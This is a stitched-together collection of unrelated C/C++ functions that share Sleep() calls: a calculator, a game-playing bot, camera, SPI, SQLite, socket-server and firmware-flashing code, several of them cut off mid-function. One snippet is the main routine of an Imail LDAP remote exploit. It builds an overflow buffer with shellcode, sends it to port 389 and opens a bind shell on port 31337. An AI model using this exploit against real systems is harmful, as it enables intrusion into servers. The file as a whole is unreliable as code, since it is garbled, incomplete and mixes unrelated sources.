int main(int argc, const char * argv[]) { double sqr,sqrtout,sine,cosine,tangent,cotangent,sino,coso,tano,coto,sa,sb,h,d,u,rad,areaoutput,convn,convo; double pi=acos(-1); int isodd,timesi,timesn,timeso,timesc,timest,factori,factorc,cf1,cf2,cfs,lcm1,lcm2,lcmc,lcms,strtemp,strop,strcount,guess1,guess2,guess3,tabcount; int factt,factc,facti; double powerx,xpower,powero; int test = 2; int final = 0; char op[15],exit[2],areainput[5],exi[2],shutdown[2],stdnchk[2],convu[3],conva[12]; char na; char opc; const char basedigits[16] ={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; int convertednumber[64]; int numbertoconvert; int nextdigit,base,index=0; double n2=0; double n1=0; int fibnum,fibnum2; printf ("|----| |--| | |----| | | | |--| ------ |----| |----|\n"); printf ("| | | | | | | | | | || | | |____|\n"); printf ("| |____| | | | | | |____| || | | | | \n"); printf ("|____| | | |____ |____| |____| |____ | | || |____| | |" "__By SmileRen3021\n"); printf ("-----------------------------------------\n" "Welcome to use Calculator(build 10)\n" "Please enter\n" "If you don't know the commands,please enter |?|...\n" "|-----calc||--convert||------sqr||----ispri|\n" "|-----*num||-----/num||-------cf||------lcm|\n" "|-----area||--------!||--randstr||-minigame|\n" "|--credits||----about||changelog||-asciitab|\n" "|-shuotown||--------?||--------x||--basecon|\n" "|---fibnum|\n" "|-------------------deg/rad-sin/cos/tan/cot|\n" "Enter |x| to exit...\n" "..."); scanf ("%s",op);//检测输入的功能 while (1) { printf ("Loading"); Sleep (500); printf ("."); Sleep (500); printf ("."); Sleep (500); printf ("."); Sleep (500); printf ("\n"); if (!strcmp(op,"calc")) { while (1) { printf ("Please enter [opreator(+,-,*,/,S,E) number]\n"); scanf ("%c %lf",&opc,&n1); switch (opc) { case '+': n2=n2+n1; printf ("= %lf\n",n2); break; case '-': n2=n2-n1; printf ("= %lf\n",n2); break; case '*': n2=n2*n1; printf ("= %lf\n",n2); break; case '/': if (n1>0) { n2=n2/n1; printf ("= %lf\n",n2); } else { printf ("Division <= 0.\n"); } break; case 'S': n2=n1; printf ("= %lf\n",n2); break; case 'E': break; default: printf ("Unknown opreator.\n"); break; } if (opc == 'E') { printf ("Exit..."); break; } fflush(stdin); } } if (!strcmp(op, "sqr")) { printf ("Please enter the number...\n"); scanf ("%lf",&sqr); sqrtout = sqrt(sqr); printf ("sqrt %lf = %lf\n",sqr,sqrtout); }//开平方计算 if (!strcmp(op, "ispri")) { printf ("Please enter a number you want to check...\n"); scanf ("%d",&isodd); if (isodd<=1) { printf ("You shoudn't enter a number less than 2!\n"); } else { for (test=2;test<isodd;test++) { if (isodd%test == 0) { final = 1; } } if (final == 0) { printf ("%d is a prime number.\n",isodd); } else { printf ("%d is an composite number.\n",isodd); } }
void CGameAI::doHeal() { makeSureLocation(); rightClickTager(script.targetX, script.targetY); Sleep(TALK_INTERVAL); RECT rect = {309, 218, 323, 233}; writeLog(TEXT("执行治疗")); if(leader->getScreen()->colorDeviation(&rect, RGB(255,255,255)) > 5) { CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); } if(leader->getScreen()->locate(IDB_YES, &rect, &YES_CONDITION)) { TRACE("Found yes\n"); CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); } if(leader->getScreen()->locate(IDB_SURE, &rect, &SURE_CONDITION)) { TRACE("Found sure\n"); CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); } rect.left = 325; rect.top = 298; rect.right = 340; rect.bottom = 313; if(leader->getScreen()->colorDeviation(&rect, RGB(255,255,255)) > 5) { CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); } if(leader->getScreen()->locate(IDB_YES, &rect, &YES_CONDITION)) { CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); } if(leader->getScreen()->locate(IDB_SURE, &rect, &SURE_CONDITION)) { CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); SetCursorPos(rect.right+3, rect.bottom+3); } if(leader->getScreen()->locate(IDB_CANCEL, &rect, &CANCEL_CONDITION)) { TRACE("Found cancel\n"); CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); } else { TRACE("Cancel button not found!\n"); } writeLog(TEXT("治疗完成")); fuckingNP(); }
void CGameAI::doFindEnemy() { CCgxMapWindow* pMap = leader->mapWindow; int lastX = 0; int lastY = 0; int endOfNorth = 0; int endOfSouth = 0; int walkStep = 0; BOOL stepFlag = TRUE; int currX = 0; int currY = 0; int notExistCounter = 0; BOOL isEndOfWest = FALSE; BOOL isPress = FALSE; int goodsCounter = 0; int nowMinu = 0; int failCounter = 0; CString logTmp; writeLog(TEXT("开始遇敌")); //统计 int fightingCounter = 0; int fightingRound = fightRound; //end 统计 while(isAIStart) { if(pMap->isExists()) { if(isFighting == TRUE) { isFighting = FALSE; // 到点重置 if(!isReseted && resetMinu != 0) { nowMinu = getMinu(); TRACE("Now is %d reset minu %d\n", nowMinu, resetMinu); if(resetMinu == nowMinu) { writeLog(TEXT("到达重置时间,重新开始。")); script.resetPos(); script.nextStep(); isReseted = TRUE; break; } } Sleep(300); pMap->leftClickCenter(); //防断线 fuckingNP(); notExistCounter = 0; Sleep(200); ++fightingCounter; ++fightTimes; //战斗超过10次才检查物品 if(fightingCounter > 10) { checkGoods(&goodsCounter); logTmp.Format(TEXT("战斗结束,检查物品有%d个"), goodsCounter); writeLog(logTmp); TRACE("==================Goods: %d\n", goodsCounter); if(goodsCounter == NUMBER_OF_GOODS) { if(isConfigYes(SCRIPT_CONTROLL, WHEN_FULL_GOODS_STOP_FIND_ENEMY)) { script.resetPos(); break; } } } if(!checkHPAndMP()) { break; } } currX = pMap->getX(); currY = pMap->getY(); //防止迷宫重置 if(script.lastX == currX && script.lastY == currY) { walkStep = pMap->goNext(0, 1); Sleep(walkStep* WALK_INTERVAL); } if(abs(script.lastX - currX) < 2 && abs(script.lastY - currY) < 2) { walkStep = pMap->goNext(script.lastX - currX, script.lastY - currY); Sleep(walkStep* WALK_INTERVAL); } // 无限制遇敌 if(script.x == 0 && script.y == 0) { if(!isEndOfWest) { if(lastX == currX) { isEndOfWest = TRUE; lastY = 0; continue; } walkStep = pMap->goNext(-10, 0); Sleep(walkStep* WALK_INTERVAL / 2); } else if(endOfSouth == 0) { if(lastY == currY) { endOfSouth = currY; lastY = 0; continue; } walkStep = pMap->goNext(0, 8); Sleep(walkStep* WALK_INTERVAL/ 2); } else if(endOfNorth == 0) { if(lastY == currY) { endOfNorth = currY; continue; } walkStep = pMap->goNext(0, -8); Sleep(walkStep* WALK_INTERVAL/ 2); } else { //TRACE("All found\n"); if(currY <= endOfNorth+1) walkStep = pMap->moveMouse(0, 8); else if(currY >= endOfSouth-1) walkStep = pMap->moveMouse(0, -8); else if(!isPress) walkStep = pMap->moveMouse(0, 8); if(!isPress) { isPress = TRUE; CSystem::leftPress(0, 0); } } } else // 限制遇敌 { if(stepFlag) { //TRACE("current: (%d,%d), target: (%d,%d)\n", currX, currY, script.x, script.y); if(currX == script.x && currY == script.y) stepFlag = FALSE; else walkStep = pMap->moveMouse(script.x-currX, script.y-currY); } else { if(currX == script.targetX && currY == script.targetY) stepFlag = TRUE; else walkStep = pMap->moveMouse(script.targetX-currX, script.targetY-currY); } if(!isPress) { isPress = TRUE; CSystem::leftPress(0, 0); } } // // end 限制遇敌 Sleep(WALK_INTERVAL*walkStep); //重置机制 if(lastX == currX && lastY == currY) ++failCounter; else failCounter = 0; if(failCounter > 10) { writeLog(TEXT("发现人物遇敌时卡死,尝试恢复")); isEndOfWest = FALSE; endOfNorth = 0; endOfSouth = 0; failCounter = 0; isPress = FALSE; } // end 重置机制 lastX = currX; lastY = currY; continue; } else { if(leader->isOffline()) { logTmp.Format(TEXT("执行脚本命令[%d] x: %d, y: %d 目标x: %d, 目标y: %d 时断线") , script.command, script.x, script.y, script.targetX, script.targetY); writeLog(logTmp); isAIStart = FALSE; break; } isPress = FALSE; ++notExistCounter; if(notExistCounter < 5) { Sleep(1000); continue; } } autoFight(); } logTmp.Format(TEXT("战斗结束,一共战斗%d次, %d回合"), fightingCounter, fightRound-fightingRound); writeLog(logTmp); }
PHP_COUCHBASE_LOCAL void usleep(unsigned long usec) { Sleep(usec / 1000); }
void CGameAI::sayAgain() { CSystem::sendKey(VK_UP); Sleep(500); CSystem::sendKey(VK_RETURN); }
void MyWindow::processMocapData() { int isUseMocap = 0; DecoConfig::GetSingleton()->GetInt("Ctrl", "UseMocap", isUseMocap); if (!isUseMocap) return; while (mMocapClient->GetFrame().Result != Result::Success) { // Sleep a little so that we don't lumber the CPU with a busy poll #ifdef WIN32 Sleep(10); #else sleep(1); #endif std::cout << "."; } //std::cout << std::endl; // Get the frame number Output_GetFrameNumber _Output_GetFrameNumber = mMocapClient->GetFrameNumber(); //std::cout << "Frame Number: " << _Output_GetFrameNumber.FrameNumber << std::endl; // Get the timecode Output_GetTimecode _Output_GetTimecode = mMocapClient->GetTimecode(); for (unsigned int LatencySampleIndex = 0; LatencySampleIndex < mMocapClient->GetLatencySampleCount().Count; ++LatencySampleIndex) { std::string SampleName = mMocapClient->GetLatencySampleName(LatencySampleIndex).Name; double SampleValue = mMocapClient->GetLatencySampleValue(SampleName).Value; } const int numMarkers = 10; // Count the number of subjects unsigned int SubjectCount = mMocapClient->GetSubjectCount().SubjectCount; for (unsigned int SubjectIndex = 0; SubjectIndex < SubjectCount; ++SubjectIndex) { std::string SubjectName = mMocapClient->GetSubjectName(SubjectIndex).SubjectName; // Count the number of markers //unsigned int MarkerCount = mMocapClient->GetMarkerCount(SubjectName).MarkerCount; // Get the unlabeled markers unsigned int MarkerCount = mMocapClient->GetUnlabeledMarkerCount().MarkerCount; // Count the number of devices mMarkerPos.resize(numMarkers); mMarkerOccluded.resize(numMarkers); for (int i = 0; i < numMarkers; ++i) { mMarkerPos[i] = Eigen::Vector3d::Zero(); mMarkerOccluded[i] = true; } for (unsigned int MarkerIndex = 0; MarkerIndex < MarkerCount; ++MarkerIndex) { // Get the marker name //std::string MarkerName = mMocapClient->GetMarkerName(SubjectName, MarkerIndex).MarkerName; // Get the marker parent //std::string MarkerParentName = mMocapClient->GetMarkerParentName(SubjectName, MarkerName).SegmentName; // Get the global marker translation //Output_GetMarkerGlobalTranslation _Output_GetMarkerGlobalTranslation = mMocapClient->GetMarkerGlobalTranslation(SubjectName, MarkerName); Output_GetUnlabeledMarkerGlobalTranslation _Output_GetMarkerGlobalTranslation = mMocapClient->GetUnlabeledMarkerGlobalTranslation(MarkerIndex); if (MarkerIndex >= numMarkers) continue; mMarkerPos[MarkerIndex] = Eigen::Vector3d(_Output_GetMarkerGlobalTranslation.Translation[0], _Output_GetMarkerGlobalTranslation.Translation[1], _Output_GetMarkerGlobalTranslation.Translation[2]); mMarkerPos[MarkerIndex] /= 1000.0; //convert unit from mm to m mMarkerOccluded[MarkerIndex] = false;// _Output_GetMarkerGlobalTranslation.Occluded; //std::cout << " Marker #" << MarkerIndex << ": " // //<< MarkerName // << " (" // << _Output_GetMarkerGlobalTranslation.Translation[0] << ", " // << _Output_GetMarkerGlobalTranslation.Translation[1] << ", " // << _Output_GetMarkerGlobalTranslation.Translation[2] << ") " // << mMarkerOccluded[MarkerIndex] << std::endl; } } }
int main() { // build a semaphore so we can synchronize the access to std cout // also includes the log file mySemaphore coutSemaphore(string(""),1); // Initialize the winsock library myTcpSocket::initialize(); // create the server: local host will be used as the server, let us // first use myHostInfo class to show the name and IP address // of the local host winLog << endl; winLog << "Retrieve the local host name and address:" << endl; myHostInfo serverInfo; string serverName = serverInfo.getHostName(); string serverIPAddress = serverInfo.getHostIPAddress(); cout << "my localhost (server) information:" << endl; cout << " Name: " << serverName << endl; cout << " Address: " << serverIPAddress << endl; winLog << " ==> Name: " << serverName << endl; winLog << " ==> Address: " << serverIPAddress << endl; // open socket on the local host(server) and show its configuration myTcpSocket myServer(PORTNUM); cout << myServer; winLog << myServer; // create a thread to implement server process: listening to the socket, // accepting client calls and communicating with clients. This will free the // main control (see below) to do other process. myThreadArgument* serverArgument = new myThreadArgument(&myServer,&coutSemaphore,serverName); myThread* serverThread = new myThread(serverHandleThread,(void*)serverArgument); serverThread->execute(); // main control: since the serverThread is handling the server functions, // this main control is free to do other things. while ( 1 ) { // do whatever you need to do here, I am using Sleep(x) // to make a little delay, pretending to be the other // possible processings. Sleep(50000); // report the server status coutSemaphore.lock(); cout << endl << "-----------------------------------------------------------------" << endl; winLog << endl << "-----------------------------------------------------------------" << endl; cout << "server (name:" << serverName << ") status report:" << endl; winLog << "server (name:" << serverName << ") status report:" << endl; cout << " the following clients have successfully connected with server: " << endl; winLog << " the following clients have successfully connected with server: " << endl; for ( int i = 0; i < MAX_NUM_CLIENTS; i ++ ) { myThreadArgument* clientInfo = serverArgument->getClientArgument(i); if ( clientInfo ) { cout << " " << clientInfo->getHostName() << endl; winLog << " " << clientInfo->getHostName() << endl; } } cout << " the following clients have shutdown the connection: " << endl; winLog << " the following clients have shutdown the connection: " << endl; for ( i = 0; i < MAX_NUM_CLIENTS; i ++ ) { myThreadArgument* clientInfo = serverArgument->getClientArgument(i); if ( clientInfo && clientInfo->getExitEvent()->waitForEvent(0) ) { clientInfo->setSignalToEnd(true); cout << " " << clientInfo->getHostName() << endl; winLog << " " << clientInfo->getHostName() << endl; } } cout << "-----------------------------------------------------------------" << endl << endl; winLog << "-----------------------------------------------------------------" << endl << endl; coutSemaphore.unlock(); } return 1; }
int WINAPI WinMain(HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPWSTR lpCmdLine, // pointer to command line int nCmdShow) // show state of window { HANDLE tRx, tTx; BOOL dma_enable = FALSE; NKDbgPrintfW(L"******************************************\n\r"); NKDbgPrintfW(L"********* Program Start **************\n\r"); NKDbgPrintfW(L"******************************************\n\r"); dma_enable = FALSE; bufferTx = sbufferTx; bufferRx = sbufferRx; if ((bufferRx == NULL) || (bufferTx == NULL)) { printf("Could not alloc buffers"); return FALSE; } //Initialize SSP1 (Master) //----------------------------- if (!SPIInit(txSSPport, DATABITS, SPI_CLOCK_812_KHZ, SPI_MASTER, SPI_MODE_3, NULL)) { printf("Error in InitSPI"); return FALSE; } //Initialize SSP2 (Slave) //----------------------------- if (!SPIInit(rxSSPport, DATABITS, SPI_CLOCK_812_KHZ, SPI_SLAVE, SPI_MODE_3, NULL)) { printf("Error in InitSPI"); return FALSE; } //Create and start transmit/receive threads //----------------------------- tRx = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) RXThread, 0, 0, NULL); CeSetThreadPriority(tRx,10); //Set receive thread to a high priority to avoid buffer overflows //Sleep(100); tTx = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) TXThread, 0, 0, NULL); printf("\r\nPress ENTER to leave the application.\r\n"); getchar(); TerminateThread(tRx, 0); TerminateThread(tTx, 0); Sleep(20); CloseHandle(tRx); CloseHandle(tTx); //Deinit //Very Important //if you forget to Deinit a SPI and Init the SPI new the spi interrupts will not work. //In this case you have to reset the System DeinitSPI(txSSPport); DeinitSPI(rxSSPport); return TRUE; }
CDragDrop::~CDragDrop() { DestroyDragImageBits(); DestroyDragImageWindow(); if (mb_DragDropRegistered && ghWnd) { mb_DragDropRegistered = FALSE; RevokeDragDrop(ghWnd); } EnterCriticalSection(&m_CrThreads); BOOL lbEmpty = m_OpThread.empty() && !InDragDrop(); LeaveCriticalSection(&m_CrThreads); if (!lbEmpty) { if (MessageBox(ghWnd, L"Not all shell operations was finished!\r\nDo You want to terminate them (it's may be harmful)?", gpConEmu->GetDefaultTitle(), MB_YESNO|MB_ICONEXCLAMATION) == IDYES) { // Terminate all shell (copying) threads EnterCriticalSection(&m_CrThreads); std::vector<ThInfo>::iterator iter = m_OpThread.begin(); while (iter != m_OpThread.end()) { HANDLE hThread = iter->hThread; TerminateThread(hThread, 100); CloseHandle(hThread); iter = m_OpThread.erase(iter); } LeaveCriticalSection(&m_CrThreads); } else { // Wait until finished BOOL lbActive = TRUE; while (lbActive) { Sleep(100); EnterCriticalSection(&m_CrThreads); lbActive = (!m_OpThread.empty()) || InDragDrop(); LeaveCriticalSection(&m_CrThreads); } } } else { // незаконченных нитей нет // -- LeaveCriticalSection(&m_CrThreads); -- 101229 секция уже закрыта } // Завершение всех нитей драга TerminateDrag(); //if (m_pfpi) free(m_pfpi); m_pfpi=NULL; //if (mp_DesktopID) { CoTaskMemFree(mp_DesktopID); mp_DesktopID = NULL; } DeleteCriticalSection(&m_CrThreads); }
SQRes SQLite::exec(LPCSTR sql) const { SQRes sqres; SQLiteResult* result = NEW SQLiteResult(); sqres.set(result); result->m_columnNow = -1; result->m_error = false; if(!m_sqlite) { result->m_error = true; result->m_message = "Not DB."; return sqres; } //SQL文が入っているかチェック if(!sql) return sqres; String work; if(m_sjis) { #ifdef _WIN32 SJIStoUTF8(work,sql); #endif sql = work; } sqlite3_stmt *stmt = NULL; INT rc = -1; while(sql[0]) { if(stmt) { while(sqlite3_step(stmt) == SQLITE_ROW); sqlite3_finalize(stmt); } rc = sqlite3_prepare(m_sqlite, sql, -1, &stmt, &sql); if(rc != SQLITE_OK) { result->m_error = true; result->m_message = sqlite3_errmsg(m_sqlite); break; } INT cols = sqlite3_column_count(stmt); if(cols) { INT i; bool first = true; result->m_error = false; std::list<std::vector<String> > columnData; while(1) { int w; for(w=0;w<100;w++) { rc = sqlite3_step(stmt); if(rc != SQLITE_BUSY && rc != SQLITE_LOCKED) break; Sleep(100); } if(w == 100) { result->m_error = true; result->m_message = sqlite3_errmsg(m_sqlite); if (m_debugFile) { fprintf(m_debugFile, "QUARY [%s]\n%s\n", sql, result->m_message.c_str()); } break; } if(first) { first = false; result->m_feildName.resize(cols); for(i=0;i<cols;i++) { if(m_sjis) UTF8toSJIS(result->m_feildName[i],sqlite3_column_name(stmt, i)); else result->m_feildName[i] = sqlite3_column_name(stmt, i); result->m_feildReverse[result->m_feildName[i]] = i; } } if(rc != SQLITE_ROW) break; std::vector<String> data(cols); for(i=0;i<cols;i++) { LPCSTR value = (LPCSTR)sqlite3_column_text(stmt,i); if(value) { if(m_sjis) UTF8toSJIS(data[i],value); else data[i] = value; } } columnData.push_back(data); } result->m_arrayData.reserve(columnData.size()); std::list<std::vector<String> >::iterator it; foreach(it,columnData) { result->m_arrayData.push_back(*it); } } }
void Controller::startSequence( ShotSeq *shotSeq ) { if( camera->handle() == 0 ) { doSeq = false; emit eventReport( new Event( Event::SequenceCancelledNoConnection ) ); return; } if( (camera->getMirrorLockup() == 1) && !doLive ) { doSeq = false; emit eventReport( new Event( Event::SequenceCancelledMirrorLockup ) ); return; } if( (shotSeq->type == ShotSeq::FocusBracketing) && (camera->getEvfOutputDevice() == 0) ) { doSeq = false; emit eventReport( new Event( Event::SequenceCancelledNotEvfMode ) ); return; } this->shotSeq = shotSeq; doSeq = true; emit eventReport( new Event( Event::SequenceInitiated, shotSeq->type ) ); if( shotSeq->type == ShotSeq::ExposureBracketingManual ) { /* * Exposure bracketing in Manual shooting mode. * Keep aperture constant, adjust shutter speed. */ for( int i = 0; (i < shotSeq->frames) && doSeq; i++ ) { setPropertyCommand( kEdsPropID_Tv, shotSeq->bracket[i] ); takePictureCommand(); QCoreApplication::processEvents(); } // restore shutter speed to its original setting setPropertyCommand( kEdsPropID_Tv, shotSeq->bracket[0] ); } else if( shotSeq->type == ShotSeq::ExposureBracketingAv ) { /* * Exposure bracketing in Av shooting mode. * Keep aperture constant, adjust shutter speed * by changing exposure compensation. */ for( int i = 0; (i < shotSeq->frames) && doSeq; i++ ) { setPropertyCommand( kEdsPropID_ExposureCompensation, shotSeq->bracket[i] ); takePictureCommand(); QCoreApplication::processEvents(); } // restore exposure compensation to its original setting setPropertyCommand( kEdsPropID_ExposureCompensation, shotSeq->bracket[0] ); } else if( shotSeq->type == ShotSeq::FocusBracketing ) { /* * Focus bracketing. */ //const int latency = 333; // 100 is sufficient for USM lens const int latency = 3333; // 100 is sufficient for USM lens for( int i = 0; (i < shotSeq->frames) && doSeq; i++ ) { if( shotSeq->bracket[i] != 0 ) { focusAdjustment( shotSeq->bracket[i] ); } Sleep( latency ); takePictureCommand(); /* * The camera becomes unstable if focus adjustments * are attempted while the shutter is open. This is * an inelegant but simple fix. */ QApplication::setOverrideCursor( Qt::BusyCursor ); int l = Map::toShutterSpeed( camera->getTv() ); // break into 100 millisecond chunks l = l/100; for( int i = 0; i <= l; i++ ) { QCoreApplication::processEvents(); Sleep( 100 ); } QCoreApplication::processEvents(); QApplication::restoreOverrideCursor(); } } else if( shotSeq->type == ShotSeq::Interval ) { /* * Interval shooting. Delay til first shot. */ QTimer::singleShot( shotSeq->delay, this, SLOT(firstShot()) ); } else if( shotSeq->type == ShotSeq::Stitch ) { /* * Panorama shooting. */ doSeq = true; } else { doSeq = false; emit eventReport( new Event( Event::SequenceCancelled ) ); } }
// フラッシュを書き換える bool clKicker6A::FlashWriteHEX(const std::wstring &file){ if (m_Mode != MODE_DFU) return false; char *buf = new char[XMEGA_APP_SIZE]; char *used = new char[XMEGA_APP_SIZE]; char *and = new char[XMEGA_APP_PAGES]; memset(and, 0, XMEGA_APP_PAGES); // HEXファイルを読み込む bool result; result = LoadIntelHEX(file.c_str(), buf, used, XMEGA_APP_SIZE, XMEGA_APP_START); if (result == true){ bool exist = false; // 書き換えるページを調べる for(int page = 0; page < XMEGA_APP_PAGES; page++){ char flag = 0; char *s = used + XMEGA_PAGE_SIZE * page; for(int cnt = 0; cnt < XMEGA_PAGE_SIZE; cnt++){ flag |= *s++; } if (flag != 0){ and[page] = 1; exist = true; } } if (exist == true){ // 転送していく result = false; for(int page = 0; page < XMEGA_APP_PAGES; page++){ if (and[page] != 0){ // Write char *p = &buf[XMEGA_PAGE_SIZE * page]; unsigned short page_w = page; unsigned int transfered = 0; Trace(L"Write(%d) %d bytes", page, XMEGA_PAGE_SIZE); // ページをセット result = Transmit(CMDID_SET_PAGE, 2, &page_w); if (result == false) break; // ライト result = Transmit(CMDID_WRITE, XMEGA_PAGE_SIZE, p, &transfered); if (result == false) break; Trace(L"Written %d bytes", transfered); Sleep(10); } } if (result == true){ Trace(L"成功しました"); }else{ Trace(L"失敗しました"); } }else{ Trace(L"書き込むデータがありません"); } result = exist; } delete [] buf; delete [] used; delete [] and; return result; }
int main(int argc, char *argv[]) { unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER; unsigned char *finalbuffer,*crapbuf1,*crapbuf2; unsigned int IMAIL6_7=60; unsigned int IMAIL_8=68; struct sockaddr_in mytcp; struct hostent * hp; WSADATA wsaData; printf("\nTHCimail v0.1 - Imail LDAP exploit\n"); printf("tested on Imail 6-8\n"); printf("by Johnny Cyberpunk ([email protected])\n"); if(argc<4 || argc>4) usage(); ver = (unsigned short)atoi(argv[3]); switch(ver) { case 0: IMAILVER = IMAIL6_7; break; case 1: IMAILVER = IMAIL_8; break; default: printf("\nYou entered an illegal version !\n\n"); usage(); exit(-1); } crapbuf1 = malloc(IMAILVER); memset(crapbuf1,'X',IMAILVER); printf("imailver = %d\n",IMAILVER); crapbuf2 = malloc(2220); memset(crapbuf2,'X',2220); finalbuffer = malloc(2650); memset(finalbuffer,0,2650); printf("\n[*] building buffer\n"); strcat(finalbuffer,ldapshit); strcat(finalbuffer,crapbuf1); strcat(finalbuffer,jumper); os = (unsigned short)atoi(argv[2]); switch(os) { case 0: strcat(finalbuffer,WIN2KPG); break; case 1: strcat(finalbuffer,WIN2KPG); break; case 2: strcat(finalbuffer,WINXPSP1G); break; default: printf("\nYou entered an illegal OS !\n\n"); usage(); exit(-1); } strcat(finalbuffer,shellcode); strcat(finalbuffer,crapbuf2); if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0) { printf("WSAStartup failed !\n"); exit(-1); } hp = gethostbyname(argv[1]); if (!hp){ addr = inet_addr(argv[1]); } if ((!hp) && (addr == INADDR_NONE) ) { printf("Unable to resolve %s\n",argv[1]); exit(-1); } sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (!sock) { printf("socket() error...\n"); exit(-1); } if (hp != NULL) memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length); else mytcp.sin_addr.s_addr = addr; if (hp) mytcp.sin_family = hp->h_addrtype; else mytcp.sin_family = AF_INET; mytcp.sin_port=htons(389); printf("[*] connecting the target\n"); rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in)); if(rc==0) { send(sock,finalbuffer,2650,0); printf("[*] Exploit send successfully ! Sleeping a while ....\n"); Sleep(1000); } else printf("\nCan't connect to ldap port!\n"); if(rc==0) { printf("[*] Trying to get a shell\n\n"); sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mytcp.sin_port = htons(31337); rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp)); if(rc!=0) { printf("can't connect to port 31337 ;( maybe firewalled ...\n"); exit(-1); } shell(sock2); } shutdown(sock,1); closesocket(sock); free(crapbuf1); free(crapbuf2); free(finalbuffer); exit(0); }
int main() { int width; char* bayer[] = {"RG","BG","GR","GB"}; char* controls[MAX_CONTROL] = {"Exposure", "Gain", "Gamma", "WB_R", "WB_B", "Brightness", "USB Traffic"}; int height; int i; char c; bool bresult; int time1,time2; int count=0; char buf[128]={0}; int CamNum=0; ///long exposure, exp_min, exp_max, exp_step, exp_flag, exp_default; //long gain, gain_min, gain_max,gain_step, gain_flag, gain_default; IplImage *pRgb; int numDevices = getNumberOfConnectedCameras(); if(numDevices <= 0) { printf("no camera connected, press any key to exit\n"); getchar(); return -1; } else printf("attached cameras:\n"); for(i = 0; i < numDevices; i++) printf("%d %s\n",i, getCameraModel(i)); printf("\nselect one to privew\n"); scanf("%d", &CamNum); bresult = openCamera(CamNum); if(!bresult) { printf("OpenCamera error,are you root?,press any key to exit\n"); getchar(); return -1; } printf("%s information\n",getCameraModel(CamNum)); int iMaxWidth, iMaxHeight; iMaxWidth = getMaxWidth(); iMaxHeight = getMaxHeight(); printf("resolution:%dX%d\n", iMaxWidth, iMaxHeight); if(isColorCam()) printf("Color Camera: bayer pattern:%s\n",bayer[getColorBayer()]); else printf("Mono camera\n"); for( i = 0; i < MAX_CONTROL; i++) { if(isAvailable((Control_TYPE)i)) printf("%s support:Yes\n", controls[i]); else printf("%s support:No\n", controls[i]); } initCamera(); //this must be called before camera operation. and it only need init once printf("sensor temperature:%02f\n", getSensorTemp()); int bin = 1, Image_type; do{ printf("\nPlease input the <width height bin image_type> with one space, ie. 640 480 2 0. use max resolution if input is 0. Press ESC when video window is focused to quit capture\n"); scanf("%d %d %d %d", &width, &height, &bin, &Image_type); if(width == 0 || height == 0) { width = iMaxWidth; height = iMaxHeight; } } while(!setImageFormat(width, height, bin, (IMG_TYPE)Image_type));//IMG_RAW8 printf("\nset image format %d %d %d %d success, start privew, press ESC to stop \n", width, height, bin, Image_type); if(Image_type == IMG_RAW16) pRgb=cvCreateImage(cvSize(getWidth(),getHeight()), IPL_DEPTH_16U, 1); else if(Image_type == IMG_RGB24) pRgb=cvCreateImage(cvSize(getWidth(),getHeight()), IPL_DEPTH_8U, 3); else pRgb=cvCreateImage(cvSize(getWidth(),getHeight()), IPL_DEPTH_8U, 1); int exp_ms; printf("Please input exposure time(ms)\n"); scanf("%d", &exp_ms); setValue(CONTROL_EXPOSURE, exp_ms*1000, false); //ms//auto setValue(CONTROL_GAIN,getMin(CONTROL_GAIN), false); setValue(CONTROL_BANDWIDTHOVERLOAD, getMin(CONTROL_BANDWIDTHOVERLOAD), false); //low transfer speed setValue(CONTROL_WB_B, 90, false); setValue(CONTROL_WB_R, 48, false); setAutoPara(getMax(CONTROL_GAIN)/2,10,150); //max auto gain and exposure and target brightness bDisplay = 1; #ifdef _LIN pthread_t thread_display; pthread_create(&thread_display, NULL, Display, (void*)pRgb); #elif defined _WINDOWS HANDLE thread_setgainexp; thread_setgainexp = (HANDLE)_beginthread(Display, NULL, (void*)pRgb); #endif time1 = GetTickCount(); int iStrLen = 0, iTextX = 40, iTextY = 60; void* retval; EXPOSURE_STATUS status; while(bMain) { startExposure(); usleep(10000);//10ms status = EXP_WORKING; while(status == EXP_WORKING) { status = getExpStatus(); } if(status == EXP_SUCCESS) getImageAfterExp((unsigned char*)pRgb->imageData, pRgb->imageSize); time2 = GetTickCount(); count++; if(time2-time1 > 1000 ) { sprintf(buf, "fps:%d dropped frames:%lu ImageType:%d",count, getDroppedFrames(), (int)getImgType()); count = 0; time1=GetTickCount(); printf(buf); printf("\n"); } if(Image_type != IMG_RGB24 && Image_type != IMG_RAW16) { iStrLen = strlen(buf); CvRect rect = cvRect(iTextX, iTextY - 15, iStrLen* 11, 20); cvSetImageROI(pRgb , rect); cvSet(pRgb, CV_RGB(180, 180, 180)); cvResetImageROI(pRgb); } cvText(pRgb, buf, iTextX,iTextY ); if(bChangeFormat) { bChangeFormat = 0; bDisplay = false; pthread_join(thread_display, &retval); cvReleaseImage(&pRgb); switch(change) { case change_imagetype: Image_type++; if(Image_type > 3) Image_type = 0; break; case change_bin: if(bin == 1) { bin = 2; width/=2; height/=2; } else { bin = 1; width*=2; height*=2; } break; case change_size_smaller: if(width > 320 && height > 240) { width/= 2; height/= 2; } break; case change_size_bigger: if(width*2*bin <= iMaxWidth && height*2*bin <= iMaxHeight) { width*= 2; height*= 2; } break; } setImageFormat(width, height, bin, (IMG_TYPE)Image_type); if(Image_type == IMG_RAW16) pRgb=cvCreateImage(cvSize(getWidth(),getHeight()), IPL_DEPTH_16U, 1); else if(Image_type == IMG_RGB24) pRgb=cvCreateImage(cvSize(getWidth(),getHeight()), IPL_DEPTH_8U, 3); else pRgb=cvCreateImage(cvSize(getWidth(),getHeight()), IPL_DEPTH_8U, 1); bDisplay = 1; 